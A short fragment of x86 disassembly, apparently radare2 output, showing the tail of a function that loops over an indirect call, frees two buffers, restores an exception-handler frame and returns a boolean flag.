add esi, eax
push esi
push dword [ebp - 0x24]
lea ecx, [ebp - 0x18]
call fcn.0040aec0
push 0
push dword [ebp - 0x18]
call edi
test eax, eax
je 0x40d128
cmp esi, dword [ebp - 0x20]
jl 0x40d0c3
mov bl, 1
push dword [ebp - 0x24]
call fcn.00a2a3b6
add esp, 4
push dword [ebp - 0x18]
call fcn.00a2a3b6
add esp, 4
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
xor bl, bl
jmp 0x40d0fc